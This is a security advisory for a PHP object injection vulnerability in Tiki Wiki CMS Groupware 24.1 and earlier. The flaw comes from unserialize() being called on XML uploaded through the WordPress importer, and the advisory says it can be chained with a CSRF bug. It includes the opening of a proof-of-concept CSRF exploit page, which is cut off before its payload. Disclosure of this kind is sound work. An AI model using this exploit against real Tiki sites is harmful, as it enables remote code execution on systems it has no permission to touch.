`----------------------------------------------------------------------------------------------------  
Tiki Wiki CMS Groupware <= 24.1 (tikiimporter_blog_wordpress.php) PHP   
Object Injection Vulnerability  
----------------------------------------------------------------------------------------------------  
  
  
[-] Software Link:  
  
https://tiki.org  
  
  
[-] Affected Versions:  
  
Version 24.1 and prior versions.  
  
  
[-] Vulnerability Description:  
  
The vulnerability is located in the   
/lib/importer/tikiimporter_blog_wordpress.php script. Specifically, when   
importing data from WordPress sites through the Tiki Importer, user   
input passed through the uploaded XML file is being used in a call to   
the unserialize() PHP function. This can be exploited by malicious users   
to inject arbitrary PHP objects into the application scope, allowing   
them to perform a variety of attacks, such as executing arbitrary PHP   
code. Successful exploitation of this vulnerability requires an admin   
account (specifically, the ‘tiki_p_admin_importer’ permission). However,   
due to the CSRF vulnerability described in KIS-2023-01, this   
vulnerability might also be exploited by tricking a victim user into   
opening a web page like the following:  
  
<html>  
<form action="http://localhost/tiki/tiki-importer.php" method="POST"   
enctype="multipart/form-data">  
<input type="hidden" name="importerClassName"   
value="TikiImporter_Blog_Wordpress" />  
<input type="hidden" name="importAttachments" value="on" />  
<input type="file" name="importFile" id="fileinput"/>  
</form>  
<script>  
const xmlContent =
